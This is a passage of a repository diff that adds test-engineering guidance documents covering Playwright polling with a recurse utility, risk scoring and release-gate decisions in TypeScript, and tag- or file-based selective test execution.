### Example 4: Post-Polling Callback
**Context**: Process or log results after successful polling.
**Implementation**:
```typescript
test('post-poll processing', async ({ recurse, apiRequest }) => {
const finalResult = await recurse(
() => apiRequest({ method: 'GET', path: '/api/batch-job/123' }),
(res) => res.body.status === 'completed',
{
timeout: 60000,
post: (result) => {
// Runs after successful polling
console.log(`Job completed in ${result.body.duration}ms`);
console.log(`Processed ${result.body.itemsProcessed} items`);
return result.body;
},
},
);
expect(finalResult.itemsProcessed).toBeGreaterThan(0);
});
```
**Key Points**:
- `post` callback runs after predicate succeeds
- Receives the final result
- Can transform or log results
- Return value becomes final `recurse` result
### Example 5: UI Testing Scenarios
**Context**: Wait for UI elements to reach a specific state through polling.
**Implementation**:
```typescript
test('table data loads', async ({ page, recurse }) => {
await page.goto('/reports');
// Poll for table rows to appear
await recurse(
async () => page.locator('table tbody tr').count(),
(count) => count >= 10, // Wait for at least 10 rows
{
timeout: 15000,
interval: 500,
log: 'Waiting for table data to load',
},
);
// Now safe to interact with table
await page.locator('table tbody tr').first().click();
});
```
### Example 6: Event-Based Systems (Kafka/Message Queues)
**Context**: Testing eventual consistency with message queue processing.
**Implementation**:
```typescript
test('kafka event processed', async ({ recurse, apiRequest }) => {
// Trigger action that publishes Kafka event
await apiRequest({
method: 'POST',
path: '/api/orders',
body: { productId: 'ABC123', quantity: 2 },
});
// Poll for downstream effect of Kafka consumer processing
const inventoryResult = await recurse(
() => apiRequest({ method: 'GET', path: '/api/inventory/ABC123' }),
(res) => {
// Assumes test fixture seeds inventory at 100; in production tests,
// fetch baseline first and assert: expect(res.body.available).toBe(baseline - 2)
expect(res.body.available).toBeLessThanOrEqual(98);
},
{
timeout: 30000, // Kafka processing may take time
interval: 1000,
log: 'Waiting for Kafka event to be processed',
},
);
expect(inventoryResult.body.lastOrderId).toBeDefined();
});
```
### Example 7: Integration with API Request (Common Pattern)
**Context**: Most common use case - polling API endpoints for state changes.
**Implementation**:
```typescript
import { test } from '@seontechnologies/playwright-utils/fixtures';
test('end-to-end polling', async ({ apiRequest, recurse }) => {
// Trigger async operation
const { body: createResp } = await apiRequest({
method: 'POST',
path: '/api/data-import',
body: { source: 's3://bucket/data.csv' },
});
// Poll until import completes
const importResult = await recurse(
() => apiRequest({ method: 'GET', path: `/api/data-import/${createResp.importId}` }),
(response) => {
const { status, rowsImported } = response.body;
return status === 'completed' && rowsImported > 0;
},
{
timeout: 120000, // 2 minutes for large imports
interval: 5000, // Check every 5 seconds
log: `Polling import ${createResp.importId}`,
},
);
expect(importResult.body.rowsImported).toBeGreaterThan(1000);
expect(importResult.body.errors).toHaveLength(0);
});
```
**Key Points**:
- Combine `apiRequest` + `recurse` for API polling
- Both from `@seontechnologies/playwright-utils/fixtures`
- Complex predicates with multiple conditions
- Logging shows polling progress in test reports
## API Reference
### RecurseOptions
| Option | Type | Default | Description |
| ---------- | ------------------ | ----------- | ------------------------------------ |
| `timeout` | `number` | `30000` | Maximum time to wait (ms) |
| `interval` | `number` | `1000` | Time between polls (ms) |
| `log` | `string` | `undefined` | Message logged on each poll |
| `error` | `string` | `undefined` | Custom error message for timeout |
| `post` | `(result: T) => R` | `undefined` | Callback after successful poll |
| `delay` | `number` | `0` | Initial delay before first poll (ms) |
### Error Types
| Error Type | When Thrown | Properties |
| ----------------------- | --------------------------------------- | ---------------------------------------- |
| `RecurseTimeoutError` | Predicate never passed within timeout | `lastCommandValue`, `lastPredicateError` |
| `RecurseCommandError` | Command function threw an error | `cause` (original error) |
| `RecursePredicateError` | Predicate threw (not assertion failure) | `cause` (original error) |
## Comparison with Vanilla Playwright
| Vanilla Playwright | recurse Utility |
| ----------------------------------------------------------------- | ------------------------------------------------------------------------- |
| `await expect.poll(() => { ... }, { timeout: 30000 }).toBe(true)` | `await recurse(() => { ... }, (val) => val === true, { timeout: 30000 })` |
| No logging | Built-in log option |
| Generic timeout errors | Categorized errors (timeout/command/predicate) |
| No post-poll hooks | `post` callback support |
## When to Use
**Use recurse for:**
- Background job completion
- Webhook/event processing
- Database eventual consistency
- Cache propagation
- State machine transitions
**Stick with vanilla expect.poll for:**
- Simple UI element visibility (use `expect(locator).toBeVisible()`)
- Single-property checks
- Cases where logging isn't needed
## Related Fragments
- `api-testing-patterns.md` - Comprehensive pure API testing patterns
- `api-request.md` - Combine for API endpoint polling
- `overview.md` - Fixture composition patterns
- `fixtures-composition.md` - Using with mergeTests
- `contract-testing.md` - Contract testing with async verification
## Anti-Patterns
**DON'T use hard waits instead of polling:**
```typescript
await page.click('#export');
await page.waitForTimeout(5000); // Arbitrary wait
expect(await page.textContent('#status')).toBe('Ready');
```
**DO poll for actual condition:**
```typescript
await page.click('#export');
await recurse(
() => page.textContent('#status'),
(status) => status === 'Ready',
{ timeout: 10000 },
);
```
**DON'T poll too frequently:**
```typescript
await recurse(
() => apiRequest({ method: 'GET', path: '/status' }),
(res) => res.body.ready,
{ interval: 100 }, // Hammers API every 100ms!
);
```
**DO use reasonable interval for API calls:**
```typescript
await recurse(
() => apiRequest({ method: 'GET', path: '/status' }),
(res) => res.body.ready,
{ interval: 2000 }, // Check every 2 seconds (reasonable)
);
```

View File

@@ -0,0 +1,615 @@
# Risk Governance and Gatekeeping
## Principle
Risk governance transforms subjective "should we ship?" debates into objective, data-driven decisions. By scoring risk (probability × impact), classifying by category (TECH, SEC, PERF, etc.), and tracking mitigation ownership, teams create transparent quality gates that balance speed with safety.
## Rationale
**The Problem**: Without formal risk governance, releases become political—loud voices win, quiet risks hide, and teams discover critical issues in production. "We thought it was fine" isn't a release strategy.
**The Solution**: Risk scoring (1-3 scale for probability and impact, total 1-9) creates shared language. Scores ≥6 demand documented mitigation. Scores = 9 mandate gate failure. Every acceptance criterion maps to a test, and gaps require explicit waivers with owners and expiry dates.
**Why This Matters**:
- Removes ambiguity from release decisions (objective scores vs subjective opinions)
- Creates audit trail for compliance (FDA, SOC2, ISO require documented risk management)
- Identifies true blockers early (prevents last-minute production fires)
- Distributes responsibility (owners, mitigation plans, deadlines for every risk >4)
## Pattern Examples
### Example 1: Risk Scoring Matrix with Automated Classification (TypeScript)
**Context**: Calculate risk scores automatically from test results and categorize by risk type
**Implementation**:
```typescript
// risk-scoring.ts - Risk classification and scoring system
export const RISK_CATEGORIES = {
TECH: 'TECH', // Technical debt, architecture fragility
SEC: 'SEC', // Security vulnerabilities
PERF: 'PERF', // Performance degradation
DATA: 'DATA', // Data integrity, corruption
BUS: 'BUS', // Business logic errors
OPS: 'OPS', // Operational issues (deployment, monitoring)
} as const;
export type RiskCategory = keyof typeof RISK_CATEGORIES;
export type RiskScore = {
id: string;
category: RiskCategory;
title: string;
description: string;
probability: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
impact: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
score: number; // probability × impact (1-9)
owner: string;
mitigationPlan?: string;
deadline?: Date;
status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'ACCEPTED';
waiverReason?: string;
waiverApprover?: string;
waiverExpiry?: Date;
};
// Risk scoring rules
export function calculateRiskScore(probability: 1 | 2 | 3, impact: 1 | 2 | 3): number {
return probability * impact;
}
export function requiresMitigation(score: number): boolean {
return score >= 6; // Scores 6-9 demand action
}
export function isCriticalBlocker(score: number): boolean {
return score === 9; // Probability=3 AND Impact=3 → FAIL gate
}
export function classifyRiskLevel(score: number): 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL' {
if (score === 9) return 'CRITICAL';
if (score >= 6) return 'HIGH';
if (score >= 4) return 'MEDIUM';
return 'LOW';
}
// Example: Risk assessment from test failures
export function assessTestFailureRisk(failure: {
test: string;
category: RiskCategory;
affectedUsers: number;
revenueImpact: number;
securityVulnerability: boolean;
}): RiskScore {
// Probability based on test failure frequency (simplified)
const probability: 1 | 2 | 3 = 3; // Test failed = High probability
// Impact based on business context
let impact: 1 | 2 | 3 = 1;
if (failure.securityVulnerability) impact = 3;
else if (failure.revenueImpact > 10000) impact = 3;
else if (failure.affectedUsers > 1000) impact = 2;
else impact = 1;
const score = calculateRiskScore(probability, impact);
return {
id: `risk-${Date.now()}`,
category: failure.category,
title: `Test failure: ${failure.test}`,
description: `Affects ${failure.affectedUsers} users, $${failure.revenueImpact} revenue`,
probability,
impact,
score,
owner: 'unassigned',
status: score === 9 ? 'OPEN' : 'OPEN',
};
}
```
**Key Points**:
- **Objective scoring**: Probability (1-3) × Impact (1-3) = Score (1-9)
- **Clear thresholds**: Score ≥6 requires mitigation, score = 9 blocks release
- **Business context**: Revenue, users, security drive impact calculation
- **Status tracking**: OPEN → MITIGATED → WAIVED → ACCEPTED lifecycle
---
### Example 2: Gate Decision Engine with Traceability Validation
**Context**: Automated gate decision based on risk scores and test coverage
**Implementation**:
```typescript
// gate-decision-engine.ts
export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
export type CoverageGap = {
acceptanceCriteria: string;
testMissing: string;
reason: string;
};
export type GateResult = {
decision: GateDecision;
timestamp: Date;
criticalRisks: RiskScore[];
highRisks: RiskScore[];
coverageGaps: CoverageGap[];
summary: string;
recommendations: string[];
};
export function evaluateGate(params: { risks: RiskScore[]; coverageGaps: CoverageGap[]; waiverApprover?: string }): GateResult {
const { risks, coverageGaps, waiverApprover } = params;
// Categorize risks
const criticalRisks = risks.filter((r) => r.score === 9 && r.status === 'OPEN');
const highRisks = risks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
const unresolvedGaps = coverageGaps.filter((g) => !g.reason);
// Decision logic
let decision: GateDecision;
// FAIL: Critical blockers (score=9) or missing coverage
if (criticalRisks.length > 0 || unresolvedGaps.length > 0) {
decision = 'FAIL';
}
// WAIVED: All risks waived by authorized approver
else if (risks.every((r) => r.status === 'WAIVED') && waiverApprover) {
decision = 'WAIVED';
}
// CONCERNS: High risks (score 6-8) with mitigation plans
else if (highRisks.length > 0 && highRisks.every((r) => r.mitigationPlan && r.owner !== 'unassigned')) {
decision = 'CONCERNS';
}
// PASS: No critical issues, all risks mitigated or low
else {
decision = 'PASS';
}
// Generate recommendations
const recommendations: string[] = [];
if (criticalRisks.length > 0) {
recommendations.push(`🚨 ${criticalRisks.length} CRITICAL risk(s) must be mitigated before release`);
}
if (unresolvedGaps.length > 0) {
recommendations.push(`📋 ${unresolvedGaps.length} acceptance criteria lack test coverage`);
}
if (highRisks.some((r) => !r.mitigationPlan)) {
recommendations.push(`⚠️ High risks without mitigation plans: assign owners and deadlines`);
}
if (decision === 'PASS') {
recommendations.push(`✅ All risks mitigated or acceptable. Ready for release.`);
}
return {
decision,
timestamp: new Date(),
criticalRisks,
highRisks,
coverageGaps: unresolvedGaps,
summary: generateSummary(decision, risks, unresolvedGaps),
recommendations,
};
}
function generateSummary(decision: GateDecision, risks: RiskScore[], gaps: CoverageGap[]): string {
const total = risks.length;
const critical = risks.filter((r) => r.score === 9).length;
const high = risks.filter((r) => r.score >= 6 && r.score < 9).length;
return `Gate Decision: ${decision}. Total Risks: ${total} (${critical} critical, ${high} high). Coverage Gaps: ${gaps.length}.`;
}
```
**Usage Example**:
```typescript
// Example: Running gate check before deployment
import { assessTestFailureRisk, evaluateGate } from './gate-decision-engine';
// Collect risks from test results
const risks: RiskScore[] = [
assessTestFailureRisk({
test: 'Payment processing with expired card',
category: 'BUS',
affectedUsers: 5000,
revenueImpact: 50000,
securityVulnerability: false,
}),
assessTestFailureRisk({
test: 'SQL injection in search endpoint',
category: 'SEC',
affectedUsers: 10000,
revenueImpact: 0,
securityVulnerability: true,
}),
];
// Identify coverage gaps
const coverageGaps: CoverageGap[] = [
{
acceptanceCriteria: 'User can reset password via email',
testMissing: 'e2e/auth/password-reset.spec.ts',
reason: '', // Empty = unresolved
},
];
// Evaluate gate
const gateResult = evaluateGate({ risks, coverageGaps });
console.log(gateResult.decision); // 'FAIL'
console.log(gateResult.summary);
// "Gate Decision: FAIL. Total Risks: 2 (1 critical, 1 high). Coverage Gaps: 1."
console.log(gateResult.recommendations);
// [
// "🚨 1 CRITICAL risk(s) must be mitigated before release",
// "📋 1 acceptance criteria lack test coverage"
// ]
```
**Key Points**:
- **Automated decision**: No human interpretation required
- **Clear criteria**: FAIL = critical risks or gaps, CONCERNS = high risks with plans, PASS = low risks
- **Actionable output**: Recommendations drive next steps
- **Audit trail**: Timestamp, decision, and context for compliance
---
### Example 3: Risk Mitigation Workflow with Owner Tracking
**Context**: Track risk mitigation from identification to resolution
**Implementation**:
```typescript
// risk-mitigation.ts
export type MitigationAction = {
riskId: string;
action: string;
owner: string;
deadline: Date;
status: 'PENDING' | 'IN_PROGRESS' | 'COMPLETED' | 'BLOCKED';
completedAt?: Date;
blockedReason?: string;
};
export class RiskMitigationTracker {
private risks: Map<string, RiskScore> = new Map();
private actions: Map<string, MitigationAction[]> = new Map();
private history: Array<{ riskId: string; event: string; timestamp: Date }> = [];
// Register a new risk
addRisk(risk: RiskScore): void {
this.risks.set(risk.id, risk);
this.logHistory(risk.id, `Risk registered: ${risk.title} (Score: ${risk.score})`);
// Auto-assign mitigation requirements for score ≥6
if (requiresMitigation(risk.score) && !risk.mitigationPlan) {
this.logHistory(risk.id, `⚠️ Mitigation required (score ${risk.score}). Assign owner and plan.`);
}
}
// Add mitigation action
addMitigationAction(action: MitigationAction): void {
const risk = this.risks.get(action.riskId);
if (!risk) throw new Error(`Risk ${action.riskId} not found`);
const existingActions = this.actions.get(action.riskId) || [];
existingActions.push(action);
this.actions.set(action.riskId, existingActions);
this.logHistory(action.riskId, `Mitigation action added: ${action.action} (Owner: ${action.owner})`);
}
// Complete mitigation action
completeMitigation(riskId: string, actionIndex: number): void {
const actions = this.actions.get(riskId);
if (!actions || !actions[actionIndex]) throw new Error('Action not found');
actions[actionIndex].status = 'COMPLETED';
actions[actionIndex].completedAt = new Date();
this.logHistory(riskId, `Mitigation completed: ${actions[actionIndex].action}`);
// If all actions completed, mark risk as MITIGATED
if (actions.every((a) => a.status === 'COMPLETED')) {
const risk = this.risks.get(riskId)!;
risk.status = 'MITIGATED';
this.logHistory(riskId, `✅ Risk mitigated. All actions complete.`);
}
}
// Request waiver for a risk
requestWaiver(riskId: string, reason: string, approver: string, expiryDays: number): void {
const risk = this.risks.get(riskId);
if (!risk) throw new Error(`Risk ${riskId} not found`);
risk.status = 'WAIVED';
risk.waiverReason = reason;
risk.waiverApprover = approver;
risk.waiverExpiry = new Date(Date.now() + expiryDays * 24 * 60 * 60 * 1000);
this.logHistory(riskId, `⚠️ Waiver granted by ${approver}. Expires: ${risk.waiverExpiry}`);
}
// Generate risk report
generateReport(): string {
const allRisks = Array.from(this.risks.values());
const critical = allRisks.filter((r) => r.score === 9 && r.status === 'OPEN');
const high = allRisks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
const mitigated = allRisks.filter((r) => r.status === 'MITIGATED');
const waived = allRisks.filter((r) => r.status === 'WAIVED');
let report = `# Risk Mitigation Report\n\n`;
report += `**Generated**: ${new Date().toISOString()}\n\n`;
report += `## Summary\n`;
report += `- Total Risks: ${allRisks.length}\n`;
report += `- Critical (Score=9, OPEN): ${critical.length}\n`;
report += `- High (Score 6-8, OPEN): ${high.length}\n`;
report += `- Mitigated: ${mitigated.length}\n`;
report += `- Waived: ${waived.length}\n\n`;
if (critical.length > 0) {
report += `## 🚨 Critical Risks (BLOCKERS)\n\n`;
critical.forEach((r) => {
report += `- **${r.title}** (${r.category})\n`;
report += ` - Score: ${r.score} (Probability: ${r.probability}, Impact: ${r.impact})\n`;
report += ` - Owner: ${r.owner}\n`;
report += ` - Mitigation: ${r.mitigationPlan || 'NOT ASSIGNED'}\n\n`;
});
}
if (high.length > 0) {
report += `## ⚠️ High Risks\n\n`;
high.forEach((r) => {
report += `- **${r.title}** (${r.category})\n`;
report += ` - Score: ${r.score}\n`;
report += ` - Owner: ${r.owner}\n`;
report += ` - Deadline: ${r.deadline?.toISOString().split('T')[0] || 'NOT SET'}\n\n`;
});
}
return report;
}
private logHistory(riskId: string, event: string): void {
this.history.push({ riskId, event, timestamp: new Date() });
}
getHistory(riskId: string): Array<{ event: string; timestamp: Date }> {
return this.history.filter((h) => h.riskId === riskId).map((h) => ({ event: h.event, timestamp: h.timestamp }));
}
}
```
**Usage Example**:
```typescript
const tracker = new RiskMitigationTracker();
// Register critical security risk
tracker.addRisk({
id: 'risk-001',
category: 'SEC',
title: 'SQL injection vulnerability in user search',
description: 'Unsanitized input allows arbitrary SQL execution',
probability: 3,
impact: 3,
score: 9,
owner: 'security-team',
status: 'OPEN',
});
// Add mitigation actions
tracker.addMitigationAction({
riskId: 'risk-001',
action: 'Add parameterized queries to user-search endpoint',
owner: 'alice@example.com',
deadline: new Date('2025-10-20'),
status: 'IN_PROGRESS',
});
tracker.addMitigationAction({
riskId: 'risk-001',
action: 'Add WAF rule to block SQL injection patterns',
owner: 'bob@example.com',
deadline: new Date('2025-10-22'),
status: 'PENDING',
});
// Complete first action
tracker.completeMitigation('risk-001', 0);
// Generate report
console.log(tracker.generateReport());
// Markdown report with critical risks, owners, deadlines
// View history
console.log(tracker.getHistory('risk-001'));
// [
// { event: 'Risk registered: SQL injection...', timestamp: ... },
// { event: 'Mitigation action added: Add parameterized queries...', timestamp: ... },
// { event: 'Mitigation completed: Add parameterized queries...', timestamp: ... }
// ]
```
**Key Points**:
- **Ownership enforcement**: Every risk >4 requires owner assignment
- **Deadline tracking**: Mitigation actions have explicit deadlines
- **Audit trail**: Complete history of risk lifecycle (registered → mitigated)
- **Automated reports**: Markdown output for Confluence/GitHub wikis
---
### Example 4: Coverage Traceability Matrix (Test-to-Requirement Mapping)
**Context**: Validate that every acceptance criterion maps to at least one test
**Implementation**:
```typescript
// coverage-traceability.ts
export type AcceptanceCriterion = {
id: string;
story: string;
criterion: string;
priority: 'P0' | 'P1' | 'P2' | 'P3';
};
export type TestCase = {
file: string;
name: string;
criteriaIds: string[]; // Links to acceptance criteria
};
export type CoverageMatrix = {
criterion: AcceptanceCriterion;
tests: TestCase[];
covered: boolean;
waiverReason?: string;
};
export function buildCoverageMatrix(criteria: AcceptanceCriterion[], tests: TestCase[]): CoverageMatrix[] {
return criteria.map((criterion) => {
const matchingTests = tests.filter((t) => t.criteriaIds.includes(criterion.id));
return {
criterion,
tests: matchingTests,
covered: matchingTests.length > 0,
};
});
}
export function validateCoverage(matrix: CoverageMatrix[]): {
gaps: CoverageMatrix[];
passRate: number;
} {
const gaps = matrix.filter((m) => !m.covered && !m.waiverReason);
const passRate = ((matrix.length - gaps.length) / matrix.length) * 100;
return { gaps, passRate };
}
// Example: Extract criteria IDs from test names
export function extractCriteriaFromTests(testFiles: string[]): TestCase[] {
// Simplified: In real implementation, parse test files with AST
// Here we simulate extraction from test names
return [
{
file: 'tests/e2e/auth/login.spec.ts',
name: 'should allow user to login with valid credentials',
criteriaIds: ['AC-001', 'AC-002'], // Linked to acceptance criteria
},
{
file: 'tests/e2e/auth/password-reset.spec.ts',
name: 'should send password reset email',
criteriaIds: ['AC-003'],
},
];
}
// Generate Markdown traceability report
export function generateTraceabilityReport(matrix: CoverageMatrix[]): string {
let report = `# Requirements-to-Tests Traceability Matrix\n\n`;
report += `**Generated**: ${new Date().toISOString()}\n\n`;
const { gaps, passRate } = validateCoverage(matrix);
report += `## Summary\n`;
report += `- Total Criteria: ${matrix.length}\n`;
report += `- Covered: ${matrix.filter((m) => m.covered).length}\n`;
report += `- Gaps: ${gaps.length}\n`;
report += `- Waived: ${matrix.filter((m) => m.waiverReason).length}\n`;
report += `- Coverage Rate: ${passRate.toFixed(1)}%\n\n`;
if (gaps.length > 0) {
report += `## ❌ Coverage Gaps (MUST RESOLVE)\n\n`;
report += `| Story | Criterion | Priority | Tests |\n`;
report += `|-------|-----------|----------|-------|\n`;
gaps.forEach((m) => {
report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${m.criterion.priority} | None |\n`;
});
report += `\n`;
}
report += `## ✅ Covered Criteria\n\n`;
report += `| Story | Criterion | Tests |\n`;
report += `|-------|-----------|-------|\n`;
matrix
.filter((m) => m.covered)
.forEach((m) => {
const testList = m.tests.map((t) => `\`${t.file}\``).join(', ');
report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${testList} |\n`;
});
return report;
}
```
**Usage Example**:
```typescript
// Define acceptance criteria
const criteria: AcceptanceCriterion[] = [
{ id: 'AC-001', story: 'US-123', criterion: 'User can login with email', priority: 'P0' },
{ id: 'AC-002', story: 'US-123', criterion: 'User sees error on invalid password', priority: 'P0' },
{ id: 'AC-003', story: 'US-124', criterion: 'User receives password reset email', priority: 'P1' },
{ id: 'AC-004', story: 'US-125', criterion: 'User can update profile', priority: 'P2' }, // NO TEST
];
// Extract tests
const tests: TestCase[] = extractCriteriaFromTests(['tests/e2e/auth/login.spec.ts', 'tests/e2e/auth/password-reset.spec.ts']);
// Build matrix
const matrix = buildCoverageMatrix(criteria, tests);
// Validate
const { gaps, passRate } = validateCoverage(matrix);
console.log(`Coverage: ${passRate.toFixed(1)}%`); // "Coverage: 75.0%"
console.log(`Gaps: ${gaps.length}`); // "Gaps: 1" (AC-004 has no test)
// Generate report
const report = generateTraceabilityReport(matrix);
console.log(report);
// Markdown table showing coverage gaps
```
**Key Points**:
- **Bidirectional traceability**: Criteria → Tests and Tests → Criteria
- **Gap detection**: Automatically identifies missing coverage
- **Priority awareness**: P0 gaps are critical blockers
- **Waiver support**: Allow explicit waivers for low-priority gaps
---
## Risk Governance Checklist
Before deploying to production, ensure:
- [ ] **Risk scoring complete**: All identified risks scored (Probability × Impact)
- [ ] **Ownership assigned**: Every risk >4 has owner, mitigation plan, deadline
- [ ] **Coverage validated**: Every acceptance criterion maps to at least one test
- [ ] **Gate decision documented**: PASS/CONCERNS/FAIL/WAIVED with rationale
- [ ] **Waivers approved**: All waivers have approver, reason, expiry date
- [ ] **Audit trail captured**: Risk history log available for compliance review
- [ ] **Traceability matrix**: Requirements-to-tests mapping up to date
- [ ] **Critical risks resolved**: No score=9 risks in OPEN status
## Integration Points
- **Used in workflows**: `*trace` (Phase 2: gate decision), `*nfr-assess` (risk scoring), `*test-design` (risk identification)
- **Related fragments**: `probability-impact.md` (scoring definitions), `test-priorities-matrix.md` (P0-P3 classification), `nfr-criteria.md` (non-functional risks)
- **Tools**: Risk tracking dashboards (Jira, Linear), gate automation (CI/CD), traceability reports (Markdown, Confluence)
_Source: Murat risk governance notes, gate schema guidance, enterprise production gate workflows, ISO 31000 risk management standards_

View File

@@ -0,0 +1,732 @@
# Selective and Targeted Test Execution
## Principle
Run only the tests you need, when you need them. Use tags/grep to slice suites by risk priority (not directory structure), filter by spec patterns or git diff to focus on impacted areas, and combine priority metadata (P0-P3) with change detection to optimize pre-commit vs. CI execution. Document the selection strategy clearly so teams understand when full regression is mandatory.
## Rationale
Running the entire test suite on every commit wastes time and resources. Smart test selection provides fast feedback (smoke tests in minutes, full regression in hours) while maintaining confidence. The "32+ ways of selective testing" philosophy balances speed with coverage: quick loops for developers, comprehensive validation before deployment. Poorly documented selection leads to confusion about when tests run and why.
## Pattern Examples
### Example 1: Tag-Based Execution with Priority Levels
**Context**: Organize tests by risk priority and execution stage using grep/tag patterns.
**Implementation**:
```typescript
// tests/e2e/checkout.spec.ts
import { test, expect } from '@playwright/test';
/**
* Tag-based test organization
* - @smoke: Critical path tests (run on every commit, < 5 min)
* - @regression: Full test suite (run pre-merge, < 30 min)
* - @p0: Critical business functions (payment, auth, data integrity)
* - @p1: Core features (primary user journeys)
* - @p2: Secondary features (supporting functionality)
* - @p3: Nice-to-have (cosmetic, non-critical)
*/
test.describe('Checkout Flow', () => {
// P0 + Smoke: Must run on every commit
test('@smoke @p0 should complete purchase with valid payment', async ({ page }) => {
await page.goto('/checkout');
await page.getByTestId('card-number').fill('4242424242424242');
await page.getByTestId('submit-payment').click();
await expect(page.getByTestId('order-confirmation')).toBeVisible();
});
// P0 but not smoke: Run pre-merge
test('@regression @p0 should handle payment decline gracefully', async ({ page }) => {
await page.goto('/checkout');
await page.getByTestId('card-number').fill('4000000000000002'); // Decline card
await page.getByTestId('submit-payment').click();
await expect(page.getByTestId('payment-error')).toBeVisible();
await expect(page.getByTestId('payment-error')).toContainText('declined');
});
// P1 + Smoke: Important but not critical
test('@smoke @p1 should apply discount code', async ({ page }) => {
await page.goto('/checkout');
await page.getByTestId('promo-code').fill('SAVE10');
await page.getByTestId('apply-promo').click();
await expect(page.getByTestId('discount-applied')).toBeVisible();
});
// P2: Run in full regression only
test('@regression @p2 should remember saved payment methods', async ({ page }) => {
await page.goto('/checkout');
await expect(page.getByTestId('saved-cards')).toBeVisible();
});
// P3: Low priority, run nightly or weekly
test('@nightly @p3 should display checkout page analytics', async ({ page }) => {
await page.goto('/checkout');
const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS__);
expect(analyticsEvents).toBeDefined();
});
});
```
**package.json scripts**:
```json
{
"scripts": {
"test": "playwright test",
"test:smoke": "playwright test --grep '@smoke'",
"test:p0": "playwright test --grep '@p0'",
"test:p0-p1": "playwright test --grep '@p0|@p1'",
"test:regression": "playwright test --grep '@regression'",
"test:nightly": "playwright test --grep '@nightly'",
"test:not-slow": "playwright test --grep-invert '@slow'",
"test:critical-smoke": "playwright test --grep '@smoke.*@p0'"
}
}
```
**Cypress equivalent**:
```javascript
// cypress/e2e/checkout.cy.ts
describe('Checkout Flow', { tags: ['@checkout'] }, () => {
it('should complete purchase', { tags: ['@smoke', '@p0'] }, () => {
cy.visit('/checkout');
cy.get('[data-cy="card-number"]').type('4242424242424242');
cy.get('[data-cy="submit-payment"]').click();
cy.get('[data-cy="order-confirmation"]').should('be.visible');
});
it('should handle decline', { tags: ['@regression', '@p0'] }, () => {
cy.visit('/checkout');
cy.get('[data-cy="card-number"]').type('4000000000000002');
cy.get('[data-cy="submit-payment"]').click();
cy.get('[data-cy="payment-error"]').should('be.visible');
});
});
// cypress.config.ts
export default defineConfig({
e2e: {
env: {
grepTags: process.env.GREP_TAGS || '',
grepFilterSpecs: true,
},
setupNodeEvents(on, config) {
require('@cypress/grep/src/plugin')(config);
return config;
},
},
});
```
**Usage**:
```bash
# Playwright
npm run test:smoke # Run all @smoke tests
npm run test:p0 # Run all P0 tests
npm run test -- --grep "@smoke.*@p0" # Run tests with BOTH tags
# Cypress (with @cypress/grep plugin)
npx cypress run --env grepTags="@smoke"
npx cypress run --env grepTags="@p0+@smoke" # AND logic
npx cypress run --env grepTags="@p0 @p1" # OR logic
```
**Key Points**:
- **Multiple tags per test**: Combine priority (@p0) with stage (@smoke)
- **AND/OR logic**: Grep supports complex filtering
- **Clear naming**: Tags document test importance
- **Fast feedback**: @smoke runs < 5 min, full suite < 30 min
- **CI integration**: Different jobs run different tag combinations
---
### Example 2: Spec Filter Pattern (File-Based Selection)
**Context**: Run tests by file path pattern or directory for targeted execution.
**Implementation**:
```bash
#!/bin/bash
# scripts/selective-spec-runner.sh
# Run tests based on spec file patterns
set -e
PATTERN=${1:-"**/*.spec.ts"}
TEST_ENV=${TEST_ENV:-local}
echo "🎯 Selective Spec Runner"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "Pattern: $PATTERN"
echo "Environment: $TEST_ENV"
echo ""
# Pattern examples and their use cases
case "$PATTERN" in
"**/checkout*")
echo "📦 Running checkout-related tests"
npx playwright test --grep-files="**/checkout*"
;;
"**/auth*"|"**/login*"|"**/signup*")
echo "🔐 Running authentication tests"
npx playwright test --grep-files="**/auth*|**/login*|**/signup*"
;;
"tests/e2e/**")
echo "🌐 Running all E2E tests"
npx playwright test tests/e2e/
;;
"tests/integration/**")
echo "🔌 Running all integration tests"
npx playwright test tests/integration/
;;
"tests/component/**")
echo "🧩 Running all component tests"
npx playwright test tests/component/
;;
*)
echo "🔍 Running tests matching pattern: $PATTERN"
npx playwright test "$PATTERN"
;;
esac
```
**Playwright config for file filtering**:
```typescript
// playwright.config.ts
import { defineConfig, devices } from '@playwright/test';
export default defineConfig({
// ... other config
// Project-based organization
projects: [
{
name: 'smoke',
testMatch: /.*smoke.*\.spec\.ts/,
retries: 0,
},
{
name: 'e2e',
testMatch: /tests\/e2e\/.*\.spec\.ts/,
retries: 2,
},
{
name: 'integration',
testMatch: /tests\/integration\/.*\.spec\.ts/,
retries: 1,
},
{
name: 'component',
testMatch: /tests\/component\/.*\.spec\.ts/,
use: { ...devices['Desktop Chrome'] },
},
],
});
```
**Advanced pattern matching**:
```typescript
// scripts/run-by-component.ts
/**
* Run tests related to specific component(s)
* Usage: npm run test:component UserProfile,Settings
*/
import { execSync } from 'child_process';
const components = process.argv[2]?.split(',') || [];
if (components.length === 0) {
console.error('❌ No components specified');
console.log('Usage: npm run test:component UserProfile,Settings');
process.exit(1);
}
// Convert component names to glob patterns
const patterns = components.map((comp) => `**/*${comp}*.spec.ts`).join(' ');
console.log(`🧩 Running tests for components: ${components.join(', ')}`);
console.log(`Patterns: ${patterns}`);
try {
execSync(`npx playwright test ${patterns}`, {
stdio: 'inherit',
env: { ...process.env, CI: 'false' },
});
} catch (error) {
process.exit(1);
}
```
**package.json scripts**:
```json
{
"scripts": {
"test:checkout": "playwright test **/checkout*.spec.ts",
"test:auth": "playwright test **/auth*.spec.ts **/login*.spec.ts",
"test:e2e": "playwright test tests/e2e/",
"test:integration": "playwright test tests/integration/",
"test:component": "ts-node scripts/run-by-component.ts",
"test:project": "playwright test --project",
"test:smoke-project": "playwright test --project smoke"
}
}
```
**Key Points**:
- **Glob patterns**: Wildcards match file paths flexibly
- **Project isolation**: Separate projects have different configs
- **Component targeting**: Run tests for specific features
- **Directory-based**: Organize tests by type (e2e, integration, component)
- **CI optimization**: Run subsets in parallel CI jobs
---
